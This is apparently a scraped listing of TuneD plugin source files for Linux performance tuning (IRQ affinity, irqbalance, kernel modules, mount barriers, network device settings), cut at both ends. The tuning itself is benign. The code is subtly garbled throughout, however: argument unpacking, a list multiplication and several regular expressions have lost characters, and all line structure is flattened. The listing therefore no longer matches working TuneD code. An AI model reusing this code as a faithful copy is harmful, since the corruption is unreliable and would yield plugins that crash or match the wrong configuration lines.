_verify_irq_affinity(self, irqinfo, affinity, mode): """Verify IRQ affinity tuning Args: irqinfo (IrqInfo): IRQ that should be verified affinity (set): desired affinity Returns: status (bool): True if verification successful, False otherwise """ if irqinfo.unchangeable: return True affinity_description = "IRQ %s affinity" % irqinfo.irq desired_affinity = affinity desired_affinity_string = self._cmd.cpulist2string(self._cmd.cpulist_pack(list(desired_affinity))) current_affinity = self._get_irq_affinity(irqinfo.irq) current_affinity_string = self._cmd.cpulist2string(self._cmd.cpulist_pack(list(current_affinity))) if mode == "intersect": # In intersect mode, we don't use a strict comparison; it's sufficient # if the current affinity is a subset of the desired one desired_affinity_string = "subset of " + desired_affinity_string if ((mode == "intersect" and current_affinity <= desired_affinity) or (mode == "set" and current_affinity == desired_affinity)): log.info(consts.STR_VERIFY_PROFILE_VALUE_OK % (affinity_description, desired_affinity_string)) return True else: log.error(consts.STR_VERIFY_PROFILE_VALUE_FAIL % (affinity_description, current_affinity_string, desired_affinity_string)) return False # # command definitions: entry to device-specific tuning # @command_custom("mode", per_device=False, priority=-10) def _mode(self, enabling, value, verify, ignore_missing, instance): if (enabling or verify) and value is not None: # Store the operating mode of the current instance in the plugin # object, from where it is read by the "affinity" command. # This works because instances are processed sequentially by the engine. self._mode_val = value @command_custom("affinity", per_device=True) def _affinity(self, enabling, value, device, verify, ignore_missing, instance): irq = "DEFAULT" if device == "DEFAULT" else device[len("irq"):] if irq not in self._irqs: log.error("Unknown device: %s" % device) return None irqinfo = self._irqs[irq] if verify: affinity = set(self._cmd.cpulist_unpack(value)) return self._verify_irq_affinity(irqinfo, affinity, self._mode_val) if enabling: affinity = set(self._cmd.cpulist_unpack(value)) return self._apply_irq_affinity(irqinfo, affinity, self._mode_val) else: return self._restore_irq_affinity(irqinfo)	9.73 KB	2025-08-24 21:48
📄 plugin_irqbalance.py from . import base from .decorators import command_custom from tuned import consts import tuned.logs import errno import re log = tuned.logs.get() class IrqbalancePlugin(base.Plugin): """ Plug-in for irqbalance settings management. The plug-in configures CPUs which should be skipped when rebalancing IRQs in `/etc/sysconfig/irqbalance`. It then restarts irqbalance if and only if it was previously running. The banned/skipped CPUs are specified as a CPU list via the [option]`banned_cpus` option. .Skip CPUs 2,4 and 9-13 when rebalancing IRQs ==== ---- [irqbalance] banned_cpus=2,4,9-13 ---- ==== """ def __init__(self, args, kwargs): super(IrqbalancePlugin, self).__init__(args, *kwargs) self._cpus = self._cmd.get_cpus() def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True def _instance_cleanup(self, instance): pass @classmethod def _get_config_options(cls): return { "banned_cpus": None, } def _read_irqbalance_sysconfig(self): try: with open(consts.IRQBALANCE_SYSCONFIG_FILE, "r") as f: return f.read() except IOError as e: if e.errno == errno.ENOENT: log.warning("irqbalance sysconfig file is missing. Is irqbalance installed?") else: log.error("Failed to read irqbalance sysconfig file: %s" % e) return None def _write_irqbalance_sysconfig(self, content): try: with open(consts.IRQBALANCE_SYSCONFIG_FILE, "w") as f: f.write(content) return True except IOError as e: log.error("Failed to write irqbalance sysconfig file: %s" % e) return False def _write_banned_cpus(self, sysconfig, banned_cpulist_string): return sysconfig + "IRQBALANCE_BANNED_CPULIST=%s\n" % banned_cpulist_string def _clear_banned_cpus(self, sysconfig): lines = [] for line in sysconfig.split("\n"): if not re.match(r"\sIRQBALANCE_BANNED_CPULIST=", line): lines.append(line) return "\n".join(lines) def _restart_irqbalance(self): # Exit code 5 means unit not found (see 'EXIT_NOTINSTALLED' in # systemd.exec(5)) retcode, out = self._cmd.execute( ["systemctl", "try-restart", "irqbalance"], no_errors=[5]) if retcode != 0: log.warning("Failed to restart irqbalance. Is it installed?") def _set_banned_cpus(self, banned_cpulist_string): content = self._read_irqbalance_sysconfig() if content is None: return content = self._clear_banned_cpus(content) content = self._write_banned_cpus(content, banned_cpulist_string) if self._write_irqbalance_sysconfig(content): self._restart_irqbalance() def _restore_banned_cpus(self): content = self._read_irqbalance_sysconfig() if content is None: return content = self._clear_banned_cpus(content) if self._write_irqbalance_sysconfig(content): self._restart_irqbalance() @command_custom("banned_cpus", per_device=False) def _banned_cpus(self, enabling, value, verify, ignore_missing, instance): banned_cpulist_string = None if value is not None: banned = set(self._cmd.cpulist_unpack(value)) present = set(self._cpus) if banned.issubset(present): banned_cpulist_string = self._cmd.cpulist2string(self._cmd.cpulist_pack(value)) else: str_cpus = ",".join([str(x) for x in self._cpus]) log.error("Invalid banned_cpus specified, '%s' does not match available cores '%s'" % (value, str_cpus)) if (enabling or verify) and banned_cpulist_string is None: return None if verify: # Verification is currently not supported return None elif enabling: self._set_banned_cpus(banned_cpulist_string) else: self._restore_banned_cpus()	3.54 KB	2025-08-24 21:48
📄 plugin_modules.py import re import os.path from . import base from .decorators import * import tuned.logs from subprocess import * from tuned.utils.commands import commands import tuned.consts as consts log = tuned.logs.get() class ModulesPlugin(base.Plugin): """ Plug-in for applying custom kernel modules options. This plug-in can set parameters to kernel modules. It creates `/etc/modprobe.d/tuned.conf` file. The syntax is `_module_=_option1=value1 option2=value2..._` where `_module_` is the module name and `_optionx=valuex_` are module options which may or may not be present. .Load module `netrom` with module parameter `nr_ndevs=2` ==== ---- [modules] netrom=nr_ndevs=2 ---- ==== Modules can also be forced to load/reload by using an additional `+r` option prefix. .(Re)load module `netrom` with module parameter `nr_ndevs=2` ==== ---- [modules] netrom=+r nr_ndevs=2 ---- ==== The `+r` switch will also cause TuneD to try and remove `netrom` module (if loaded) and try and (re)insert it with the specified parameters. The `+r` can be followed by an optional comma (`+r,`) for better readability. When using `+r` the module will be loaded immediately by the TuneD daemon itself rather than waiting for the OS to load it with the specified parameters. """ def __init__(self, args, kwargs): super(ModulesPlugin, self).__init__(args, *kwargs) self._has_dynamic_options = True self._cmd = commands() def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True instance._modules = instance.options def _instance_cleanup(self, instance): pass def _reload_modules(self, modules): for module in modules: retcode, out = self._cmd.execute(["modprobe", "-r", module]) if retcode < 0: log.warning("'modprobe' command not found, cannot reload kernel modules, reboot is required") return elif retcode > 0: log.debug("cannot remove kernel module '%s': %s" % (module, out.strip())) retcode, out = self._cmd.execute(["modprobe", module]) if retcode != 0: log.warning("cannot insert/reinsert module '%s', reboot is required: %s" % (module, out.strip())) def _instance_apply_static(self, instance): self._clear_modprobe_file() s = "" retcode = 0 skip_check = False reload_list = [] for option, value in list(instance._modules.items()): module = self._variables.expand(option) v = self._variables.expand(value) if not skip_check: retcode, out = self._cmd.execute(["modinfo", module]) if retcode < 0: skip_check = True log.warning("'modinfo' command not found, not checking kernel modules") elif retcode > 0: log.error("kernel module '%s' not found, skipping it" % module) if skip_check or retcode == 0: if len(v) > 1 and v[0:2] == "+r": v = re.sub(r"^\s\+r\s,?\s", "", v) reload_list.append(module) if len(v) > 0: s += "options " + module + " " + v + "\n" else: log.debug("module '%s' doesn't have any option specified, not writing it to modprobe.d" % module) self._cmd.write_to_file(consts.MODULES_FILE, s) l = len(reload_list) if l > 0: self._reload_modules(reload_list) if len(instance._modules) != l: log.info(consts.STR_HINT_REBOOT) def _unquote_path(self, path): return str(path).replace("/", "") def _instance_verify_static(self, instance, ignore_missing, devices): ret = True # not all modules exports all their parameteters through sysfs, so hardcode check with ignore_missing ignore_missing = True r = re.compile(r"\s+") for option, value in list(instance._modules.items()): module = self._variables.expand(option) v = self._variables.expand(value) v = re.sub(r"^\s\+r\s,?\s", "", v) mpath = "/sys/module/%s" % module if not os.path.exists(mpath): ret = False log.error(consts.STR_VERIFY_PROFILE_FAIL % "module '%s' is not loaded" % module) else: log.info(consts.STR_VERIFY_PROFILE_OK % "module '%s' is loaded" % module) l = r.split(v) for item in l: arg = item.split("=", 1) if len(arg) != 2: log.warning("unrecognized module option for module '%s': %s" % (module, item)) else: if self._verify_value(arg[0], arg[1], self._cmd.read_file(mpath + "/parameters/" + self._unquote_path(arg[0]), err_ret = None, no_error = True), ignore_missing) == False: ret = False return ret def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): if rollback == consts.ROLLBACK_FULL: self._clear_modprobe_file() def _clear_modprobe_file(self): s = self._cmd.read_file(consts.MODULES_FILE, no_error = True) l = s.split("\n") i = j = 0 ll = len(l) r = re.compile(r"^\s#") while i < ll: if r.search(l[i]) is None: j = i i = ll i += 1 s = "\n".join(l[0:j]) if len(s) > 0: s += "\n" self._cmd.write_to_file(consts.MODULES_FILE, s)	4.8 KB	2025-08-24 21:48
📄 plugin_mounts.py import tuned.consts as consts from . import base from .decorators import * from subprocess import Popen,PIPE import tuned.logs from tuned.utils.commands import commands import glob log = tuned.logs.get() cmd = commands() class MountsPlugin(base.Plugin): """ Enables or disables barriers for mounts according to the value of the boolean option [option]`disable_barriers`. The option additionally allows the special value `force`, which disables barriers even on mountpoints with write back caches. NOTE: Only extended file systems (ext) are supported by this plug-in. """ @classmethod def _generate_mountpoint_topology(cls): """ Gets the information about disks, partitions and mountpoints. Stores information about used filesystem and creates a list of all underlying devices (in case of LVM) for each mountpoint. """ mountpoint_topology = {} current_disk = None stdout, stderr = Popen(["lsblk", "-rno", \ "TYPE,RM,KNAME,FSTYPE,MOUNTPOINT"], \ stdout=PIPE, stderr=PIPE, close_fds=True, \ universal_newlines = True).communicate() for columns in [line.split() for line in stdout.splitlines()]: if len(columns) < 3: continue device_type, device_removable, device_name = columns[:3] filesystem = columns[3] if len(columns) > 3 else None mountpoint = columns[4] if len(columns) > 4 else None if device_type == "disk": current_disk = device_name continue # skip removable, skip nonpartitions if device_removable == "1" or device_type not in ["part", "lvm"]: continue if mountpoint is None or mountpoint == "[SWAP]": continue mountpoint_topology.setdefault(mountpoint, {"disks": set(), "device_name": device_name, "filesystem": filesystem}) mountpoint_topology[mountpoint]["disks"].add(current_disk) cls._mountpoint_topology = mountpoint_topology def _init_devices(self): self._generate_mountpoint_topology() self._devices_supported = True self._free_devices = set(self._mountpoint_topology.keys()) self._assigned_devices = set() @classmethod def _get_config_options(self): return { "disable_barriers": None, } def _instance_init(self, instance): instance._has_dynamic_tuning = False instance._has_static_tuning = True def _instance_cleanup(self, instance): pass def _get_device_cache_type(self, device): """ Get device cache type. This will work only for devices on SCSI kernel subsystem. """ source_filenames = glob.glob("/sys/block/%s/device/scsi_disk/*/cache_type" % device) for source_filename in source_filenames: return cmd.read_file(source_filename).strip() return None def _mountpoint_has_writeback_cache(self, mountpoint): """ Checks if the device has 'write back' cache. If the cache type cannot be determined, asume some other cache. """ for device in self._mountpoint_topology[mountpoint]["disks"]: if self._get_device_cache_type(device) == "write back": return True return False def _mountpoint_has_barriers(self, mountpoint): """ Checks if a given mountpoint is mounted with barriers enabled or disabled. """ with open("/proc/mounts") as mounts_file: for line in mounts_file: # device mountpoint filesystem options dump check columns = line.split() if columns[0][0] != "/": continue if columns[1] == mountpoint: option_list = columns[3] break else: return None options = option_list.split(",") for option in options: (name, sep, value) = option.partition("=") # nobarrier barrier=0 if name == "nobarrier" or (name == "barrier" and value == "0"): return False # barrier barrier=1 elif name == "barrier": return True else: # default return True def _remount_partition(self, partition, options): """ Remounts partition. """ remount_command = ["/usr/bin/mount", partition, "-o", "remount,%s" % options] cmd.execute(remount_command) @command_custom("disable_barriers", per_device=True) def _disable_barriers(self, start, value, mountpoint, verify, ignore_missing, instance): storage_key = self._storage_key( command_name = "disable_barriers", device_name = mountpoint) force = str(value).lower() == "force" value = force or self._option_bool(value) if start: if not value: return None reject_reason = None if not self._mountpoint_topology[mountpoint]["filesystem"].startswith("ext"): reject_reason = "filesystem not supported" elif not force and self._mountpoint_has_writeback_cache(mountpoint): reject_reason = "device uses write back cache" else: original_value = self._mountpoint_has_barriers(mountpoint) if original_value is None: reject_reason = "unknown current setting" elif original_value == False: if verify: log.info(consts.STR_VERIFY_PROFILE_OK % mountpoint) return True else: reject_reason = "barriers already disabled" elif verify: log.error(consts.STR_VERIFY_PROFILE_FAIL % mountpoint) return False if reject_reason is not None: log.info("not disabling barriers on '%s' (%s)" % (mountpoint, reject_reason)) return None self._storage.set(storage_key, original_value) log.info("disabling barriers on '%s'" % mountpoint) self._remount_partition(mountpoint, "barrier=0") else: if verify: return None original_value = self._storage.get(storage_key) if original_value is None: return None log.info("enabling barriers on '%s'" % mountpoint) self._remount_partition(mountpoint, "barrier=1") self._storage.unset(storage_key) return None	5.44 KB	2025-08-24 21:48
📄 plugin_net.py import errno from . import hotplug from .decorators import * import tuned.logs from tuned.utils.nettool import ethcard from tuned.utils.commands import commands import os import re import pyudev log = tuned.logs.get() WOL_VALUES = "pumbagsd" class NetTuningPlugin(hotplug.Plugin): """ Configures network driver, hardware and Netfilter settings. Dynamic change of the interface speed according to the interface utilization is also supported. The dynamic tuning is controlled by the [option]`dynamic` and the global [option]`dynamic_tuning` option in `tuned-main.conf`. `wake_on_lan`::: The [option]`wake_on_lan` option sets wake-on-lan to the specified value as when using the `ethtool` utility. + .Set Wake-on-LAN for device eth0 on MagicPacket(TM) ==== ---- [net] devices=eth0 wake_on_lan=g ---- ==== `coalesce`::: The [option]`coalesce` option allows changing coalescing settings for the specified network devices. The syntax is: + [subs="quotes"] ---- coalesce=__param1__ __value1__ __param2__ __value2__ ... __paramN__ __valueN__ ---- + Note that not all the coalescing parameters are supported by all network cards. For the list of coalescing parameters of your network device, use `ethtool -c device`. + .Setting coalescing parameters rx/tx-usecs for all network devices ==== ---- [net] coalesce=rx-usecs 3 tx-usecs 16 ---- ==== `features`::: The [option]`features` option allows changing the offload parameters and other features for the specified network devices. To query the features of your network device, use `ethtool -k device`. The syntax of the option is the same as the [option]`coalesce` option. + .Turn off TX checksumming, generic segmentation and receive offload ==== ---- [net] features=tx off gso off gro off ---- ==== `pause`::: The [option]`pause` option allows changing the pause parameters for the specified network devices. To query the pause parameters of your network device, use `ethtool -a device`. The syntax of the option is the same as the [option]`coalesce` option. + .Disable autonegotiation ==== ---- [net] pause=autoneg off ---- ==== `ring`::: The [option]`ring` option allows changing the rx/tx ring parameters for the specified network devices. To query the ring parameters of your network device, use `ethtool -g device`. The syntax of the option is the same as the [option]`coalesce` option. + .Change the number of ring entries for the Rx/Tx rings to 1024/512 respectively ===== ----- [net] ring=rx 1024 tx 512 ----- ===== `channels`::: The [option]`channels` option allows changing the numbers of channels for the specified network device. A channel is an IRQ and the set of queues that can trigger that IRQ. To query the channels parameters of your network device, use `ethtool -l device`. The syntax of the option is the same as the [option]`coalesce` option. + .Set the number of multi-purpose channels to 16 ===== ----- [net] channels=combined 16 ----- ===== + A network device either supports rx/tx or combined queue mode. The [option]`channels` option automatically adjusts the parameters based on the mode supported by the device as long as a valid configuration is requested. `nf_conntrack_hashsize`::: The [option]`nf_conntrack_hashsize` option sets the size of the hash table which stores lists of conntrack entries by writing to `/sys/module/nf_conntrack/parameters/hashsize`. + .Adjust the size of the conntrack hash table ==== ---- [net] nf_conntrack_hashsize=131072 ---- ==== `txqueuelen`::: The [option]`txqueuelen` option allows changing txqueuelen (the length of the transmit queue). It uses `ip` utility that is in package iproute recommended for TuneD, so the package needs to be installed for its correct functionality. To query the txqueuelen parameters of your network device use `ip link show` and the current value is shown after the qlen column. + .Adjust the length of the transmit queue ==== ---- [net] txqueuelen=5000 ---- ==== `mtu`::: The [option]`mtu` option allows changing MTU (Maximum Transmission Unit). It uses `ip` utility that is in package iproute recommended for TuneD, so the package needs to be installed for its correct functionality. To query the MTU parameters of your network device use `ip link show` and the current value is shown after the MTU column. + .Adjust the size of the MTU ==== ---- [net] mtu=9000 ---- ==== """ def __init__(self, args, kwargs): super(NetTuningPlugin, self).__init__(args, *kwargs) self._load_smallest = 0.05 self._level_steps = 6 self._cmd = commands() self._re_ip_link_show = {} self._use_ip = True self.re_not_virtual = re.compile('(?!./virtual/.)') # pyudev >= 0.21 check if hasattr(pyudev.Device, "properties"): self._get_device_property = self._get_device_property_1 else: self._get_device_property = self._get_device_property_2 def _init_devices(self): super(NetTuningPlugin, self)._init_devices() self._devices_supported = True self._free_devices = set() self._assigned_devices = set() for device in self._hardware_inventory.get_devices("net"): if self._device_is_supported(device): self._free_devices.add(device.sys_name) log.debug("devices: %s" % str(self._free_devices)); def _get_device_objects(self, devices): return [self._hardware_inventory.get_device("net", x) for x in devices] def _device_is_supported(self, device): return self.re_not_virtual.match(device.device_path) def _hardware_events_init(self): self._hardware_inventory.subscribe(self, "net", self._hardware_events_callback) def _hardware_events_cleanup(self): self._hardware_inventory.unsubscribe(self) def _hardware_events_callback(self, event, device): if self._device_is_supported(device): super(NetTuningPlugin, self)._hardware_events_callback(event, device) def _added_device_apply_tuning(self, instance, device_name): if instance._load_monitor is not None: instance._load_monitor.add_device(device_name) super(NetTuningPlugin, self)._added_device_apply_tuning(instance, device_name) def _removed_device_unapply_tuning(self, instance, device_name): if instance._load_monitor is not None: instance._load_monitor.remove_device(device_name) super(NetTuningPlugin, self)._removed_device_unapply_tuning(instance, device_name) # pyudev >= 0.21 def _get_device_property_1(self, pyudev_dev, prop): return pyudev_dev.properties.get(prop) # pyudev < 0.21 def _get_device_property_2(self, pyudev_dev, prop): try: p = pyudev_dev.__getitem__(prop) except KeyError: p = None return p # handle device rename def _move_device(self, device_name): d = self._hardware_inventory.get_device("net", device_name) if d: i = self._get_device_property(d, "IFINDEX") if i: for instance_name, instance in list(self._instances.items()): device_name_old = instance._ifmap_orig.get(i) if device_name_old: log.debug("Rename device, ifindex: '%s', original name '%s', new name '%s'" % \ (i, device_name_old, device_name)) instance._ifnamemap[device_name_old] = device_name break def _get_curr_device_wrapper(self, instance): # get new device name after rename def _get_curr_device(device): d = instance._ifnamemap.get(device) return d if d else device return _get_curr_device def _instance_init(self, instance): instance._has_static_tuning = True instance._load_monitor = None instance._idle = None instance._stats = None instance._ifnamemap = {} instance._get_curr_device = self._get_curr_device_wrapper(instance) instance._has_dynamic_tuning = self._option_bool(instance.options["dynamic"]) def assign_free_devices(self, instance): super(NetTuningPlugin, self).assign_free_devices(instance) instance._ifmap_orig = {} devices = instance.assigned_devices for device in devices: d = self._hardware_inventory.get_device("net", device) if d: i = self._get_device_property(d, "IFINDEX") if i: instance._ifmap_orig[i] = device def _instance_cleanup(self, instance): if instance._load_monitor is not None: self._monitors_repository.delete(instance._load_monitor) instance._load_monitor = None def _instance_init_dynamic(self, instance): super(NetTuningPlugin, self)._instance_init_dynamic(instance) instance._idle = {} instance._stats = {} instance._load_monitor = self._monitors_repository.create("net", instance.assigned_devices) instance._load_monitor._set_dev_map(instance._get_curr_device) def _instance_apply_dynamic(self, instance, device): self._instance_update_dynamic(instance, device) def _instance_update_dynamic(self, instance, device): load = [int(value) for value in instance._load_monitor.get_device_load(device)] if load is None: return if not device in instance._stats: self._init_stats_and_idle(instance, device) self._update_stats(instance, device, load) self._update_idle(instance, device) stats = instance._stats[device] idle = instance._idle[device] if idle["level"] == 0 and idle["read"] >= self._level_steps and idle["write"] >= self._level_steps: idle["level"] = 1 log.info("%s: setting 100Mbps" % device) ethcard(device).set_speed(100) elif idle["level"] == 1 and (idle["read"] == 0 or idle["write"] == 0): idle["level"] = 0 log.info("%s: setting max speed" % device) ethcard(device).set_max_speed() log.debug("%s load: read %0.2f, write %0.2f" % (device, stats["read"], stats["write"])) log.debug("%s idle: read %d, write %d, level %d" % (device, idle["read"], idle["write"], idle["level"])) @classmethod def _get_config_options_coalesce(cls): return { "adaptive-rx": None, "adaptive-tx": None, "cqe-mode-rx": None, "rx-usecs": None, "rx-frames": None, "rx-usecs-irq": None, "rx-frames-irq": None, "tx-usecs": None, "tx-frames": None, "tx-usecs-irq": None, "tx-frames-irq": None, "stats-block-usecs": None, "pkt-rate-low": None, "rx-usecs-low": None, "rx-frames-low": None, "tx-usecs-low": None, "tx-frames-low": None, "pkt-rate-high": None, "rx-usecs-high": None, "rx-frames-high": None, "tx-usecs-high": None, "tx-frames-high": None, "sample-interval": None } @classmethod def _get_config_options_pause(cls): return { "autoneg": None, "rx": None, "tx": None } @classmethod def _get_config_options_ring(cls): return { "rx": None, "rx-mini": None, "rx-jumbo": None, "tx": None } @classmethod def _get_config_options_channels(cls): return { "rx": None, "tx": None, "other": None, "combined": None } @classmethod def _get_config_options(cls): return { "dynamic": True, "wake_on_lan": None, "nf_conntrack_hashsize": None, "features": None, "coalesce": None, "pause": None, "ring": None, "channels": None, "txqueuelen": None, "mtu": None, } def _init_stats_and_idle(self, instance, device): max_speed = self._calc_speed(ethcard(instance._get_curr_device(device)).get_max_speed()) instance._stats[device] = { "new": 4 [0], "max": 2 * [max_speed, 1] } instance._idle[device] = { "level": 0, "read": 0, "write": 0 } def _update_stats(self, instance, device, new_load): # put new to old instance._stats[device]["old"] = old_load = instance._stats[device]["new"] instance._stats[device]["new"] = new_load # load difference diff = [new_old[0] - new_old[1] for new_old in zip(new_load, old_load)] instance._stats[device]["diff"] = diff # adapt maximum expected load if the difference is higer old_max_load = instance._stats[device]["max"] max_load = [max(pair) for pair in zip(old_max_load, diff)] instance._stats[device]["max"] = max_load # read/write ratio instance._stats[device]["read"] = float(diff[0]) / float(max_load[0]) instance._stats[device]["write"] = float(diff[2]) / float(max_load[2]) def _update_idle(self, instance, device): # increase counter if there is no load, otherwise reset the counter for operation in ["read", "write"]: if instance._stats[device][operation] < self._load_smallest: instance._idle[device][operation] += 1 else: instance._idle[device][operation] = 0 def _instance_unapply_dynamic(self, instance, device): if device in instance._idle and instance._idle[device]["level"] > 0: instance._idle[device]["level"] = 0 log.info("%s: setting max speed" % device) ethcard(instance._get_curr_device(device)).set_max_speed() def _calc_speed(self, speed): # 0.6 is just a magical constant (empirical value): Typical workload on netcard won't exceed # that and if it does, then the code is smart enough to adapt it. # 1024 * 1024 as for MB -> B # speed / 8 Mb -> MB return (int) (0.6 * 1024 * 1024 * speed / 8) # parse features/coalesce config parameters (those defined in profile configuration) # context is for error message def _parse_config_parameters(self, value, context): # expand config variables value = self._variables.expand(value) # split supporting various dellimeters v = str(re.sub(r"(:\s)\|(\s+)\|(\s;\s)\|(\s,\s)", " ", value)).split() lv = len(v) if lv % 2 != 0: log.error("invalid %s parameter: '%s'" % (context, str(value))) return None if lv == 0: return dict() # convert flat list to dict return dict(list(zip(v[::2], v[1::2]))) # parse features/coalesce device parameters (those returned by ethtool) def _parse_device_parameters(self, value): # substitute "Adaptive RX: val1 TX: val2" to 'adaptive-rx: val1' and # 'adaptive-tx: val2' and workaround for ethtool inconsistencies # (rhbz#1225375) value = self._cmd.multiple_re_replace({ "Adaptive RX:": "adaptive-rx:", "\\s+TX:": "\nadaptive-tx:", "CQE mode RX:": "cqe-mode-rx:", "rx-frame-low:": "rx-frames-low:", "rx-frame-high:": "rx-frames-high:", "tx-frame-low:": "tx-frames-low:", "tx-frame-high:": "tx-frames-high:", "large-receive-offload:": "lro:", "rx-checksumming:": "rx:", "tx-checksumming:": "tx:", "scatter-gather:": "sg:", "tcp-segmentation-offload:": "tso:", "udp-fragmentation-offload:": "ufo:", "generic-segmentation-offload:": "gso:", "generic-receive-offload:": "gro:", "rx-vlan-offload:": "rxvlan:", "tx-vlan-offload:": "txvlan:", "ntuple-filters:": "ntuple:", "receive-hashing:": "rxhash:", }, value) # remove empty lines, remove fixed parameters (those with "[fixed]") vl = [v for v in value.split('\n') if len(str(v)) > 0 and not re.search(r"\[fixed\]$", str(v))] if len(vl) < 2: return None # skip first line (device name), split to key/value, # remove pairs which are not key/value return dict([u for u in [re.split(r":\s", str(v)) for v in vl[1:]] if len(u) == 2]) @classmethod def _nf_conntrack_hashsize_path(self): return "/sys/module/nf_conntrack/parameters/hashsize" @command_set("wake_on_lan", per_device=True) def _set_wake_on_lan(self, value, device, instance, sim, remove): if value is None: return None # see man ethtool for possible wol values, 0 added as an alias for 'd' value = re.sub(r"0", "d", str(value)); if not re.match(r"^[" + WOL_VALUES + r"]+$", value): log.warning("Incorrect 'wake_on_lan' value.") return None if not sim: self._cmd.execute(["ethtool", "-s", instance._get_curr_device(device), "wol", value]) return value @command_get("wake_on_lan") def _get_wake_on_lan(self, device, instance, ignore_missing=False): value = None try: m = re.match(r".Wake-on:\s([" + WOL_VALUES + "]+).", self._cmd.execute(["ethtool", instance._get_curr_device(device)])[1], re.S) if m: value = m.group(1) except IOError: pass return value @command_set("nf_conntrack_hashsize") def _set_nf_conntrack_hashsize(self, value, instance, sim, remove): if value is None: return None hashsize = int(value) if hashsize >= 0: if not sim: self._cmd.write_to_file(self._nf_conntrack_hashsize_path(), hashsize, \ no_error = [errno.ENOENT] if remove else False) return hashsize else: return None @command_get("nf_conntrack_hashsize") def _get_nf_conntrack_hashsize(self, instance): value = self._cmd.read_file(self._nf_conntrack_hashsize_path()) if len(value) > 0: return int(value) return None def _call_ip_link(self, args=[]): if not self._use_ip: return None args = ["ip", "link"] + args (rc, out, err_msg) = self._cmd.execute(args, no_errors=[errno.ENOENT], return_err=True) if rc == -errno.ENOENT: log.warning("ip command not found, ignoring for other devices") self._use_ip = False return None elif rc: log.info("Problem calling ip command") log.debug("(rc: %s, msg: '%s')" % (rc, err_msg)) return None return out def _ip_link_show(self, device=None): args = ["show"] if device: args.append(device) return self._call_ip_link(args) @command_set("txqueuelen", per_device=True) def _set_txqueuelen(self, value, device, instance, sim, remove): if value is None: return None try: int(value) except ValueError: log.warning("txqueuelen value '%s' is not integer" % value) return None if not sim: # there is inconsistency in "ip", where "txqueuelen" is set as it, but is shown as "qlen" res = self._call_ip_link(["set", "dev", instance._get_curr_device(device), "txqueuelen", value]) if res is None: log.warning("Cannot set txqueuelen for device '%s'" % instance._get_curr_device(device)) return None return value def _get_re_ip_link_show(self, arg): """ Return regex for int arg value from "ip link show" command """ if arg not in self._re_ip_link_show: self._re_ip_link_show[arg] = re.compile(r".\s+%s\s+(\d+)" % arg) return self._re_ip_link_show[arg] @command_get("txqueuelen") def _get_txqueuelen(self, device, instance, ignore_missing=False): out = self._ip_link_show(instance._get_curr_device(device)) if out is None: if not ignore_missing: log.info("Cannot get 'ip link show' result for txqueuelen value for device '%s'" % \ instance._get_curr_device(device)) return None res = self._get_re_ip_link_show("qlen").search(out) if res is None: # We can theoretically get device without qlen (http://linux-ip.net/gl/ip-cref/ip-cref-node17.html) if not ignore_missing: log.info("Cannot get txqueuelen value from 'ip link show' result for device '%s'" % \ instance._get_curr_device(device)) return None return res.group(1) @command_set("mtu", per_device=True) def _set_mtu(self, value, device, instance, sim, remove): if value is None: return None try: int(value) except ValueError: log.warning("mtu value '%s' is not integer" % value) return None if not sim: res = self._call_ip_link(["set", "dev", instance._get_curr_device(device), "mtu", value]) if res is None: log.warning("Cannot set mtu for device '%s'" % instance._get_curr_device(device)) return None return value @command_get("mtu") def _get_mtu(self, device, instance, ignore_missing=False): out = self._ip_link_show(instance._get_curr_device(device)) if out is None: if not ignore_missing: log.info("Cannot get 'ip link show' result for mtu value for device '%s'" % \ instance._get_curr_device(device)) return None res = self._get_re_ip_link_show("mtu").search(out) if res is None: # mtu value should be always present, but it's better to have a test if not ignore_missing: log.info("Cannot get mtu value from 'ip link show' result for device '%s'" % \ instance._get_curr_device(device)) return None return res.group(1) # d is dict: {parameter: value} def _check_parameters(self, context, d): if context == "features": return True params = set(d.keys()) supported_getter = { "coalesce": self._get_config_options_coalesce, \ "pause": self._get_config_options_pause, \ "ring": self._get_config_options_ring, \ "channels": self._get_config_options_channels } supported = set(supported_getter[context]().keys()) if not params.issubset(supported): log.error("unknown %s parameter(s): %s" % (context, str(params - supported))) return False return True # parse output of ethtool -a def _parse_pause_parameters(self, s): s = self._cmd.multiple_re_replace(\ {"Autonegotiate": "autoneg", "RX": "rx", "TX": "tx"}, s) l = s.split("\n")[1:] l = [x for x in l if x != '' and not re.search(r"\[fixed\]", x)] return dict([x for x in [re.split(r":\s", x) for x in l] if len(x) == 2]) # parse output of ethtool -g def _parse_ring_parameters(self, s): a = re.split(r"^Current hardware settings:$", s, flags=re.MULTILINE) s = a[1] s = self._cmd.multiple_re_replace(\ {"RX": "rx", "RX Mini": "rx-mini", "RX Jumbo": "rx-jumbo", "TX": "tx"}, s) l = s.split("\n") l = [x for x in l if x != ''] l = [x for x in [re.split(r":\s", x) for x in l] if len(x) == 2] return dict(l) # parse output of ethtool -l def _parse_channels_parameters(self, s): a = re.split(r"^Current hardware settings:$", s, flags=re.MULTILINE) s = a[1] s = self._cmd.multiple_re_replace(\ {"RX": "rx", "TX": "tx", "Other": "other", "Combined": "combined"}, s) l = s.split("\n") l = [x for x in l if x != ''] l = [x for x in [re.split(r":\s*", x) for x in l] if len(x) == 2] return dict(l) def _replace_channels_parameters(self, context, params_list, dev_params): mod_params_list = [] if "combined" in params_list: mod_params_list.extend(["rx", params_list[1], "tx", params_list[1]]) else: cnt = str(max(int(params_list[1]), int(params_list[3]))) mod_params_list.extend(["combined", cnt]) return dict(list(zip(mod_params_list[::2], mod_params_list[1::2]))) def _check_device_support(self, instance, context, parameters, device, dev_params): """Filter unsupported parameters and log warnings about it Positional parameters: instance -- instance calling it context -- context of change parameters -- parameters to change device -- name of device on which should be parameters set dev_params -- dictionary of currently known parameters of device """ supported_parameters = set(dev_params.keys()) parameters_to_change = set(parameters.keys()) # if parameters_to_change contains unsupported parameter(s) then remove # it/them unsupported_parameters = (parameters_to_change - supported_parameters) for param in unsupported_parameters: log.warning("%s parameter %s is not supported by device %s" % ( context, param, instance._get_curr_device(device), )) parameters.pop(param, None) def _get_device_parameters(self, instance, context, device): context2opt = { "coalesce": "-c", "features": "-k", "pause": "-a", "ring": "-g", \ "channels": "-l"} opt = context2opt[context] ret, value = self._cmd.execute(["ethtool", opt, instance._get_curr_device(device)]) if ret != 0 or len(value) == 0: return None context2parser = { "coalesce": self._parse_device_parameters, \ "features": self._parse_device_parameters, \ "pause": 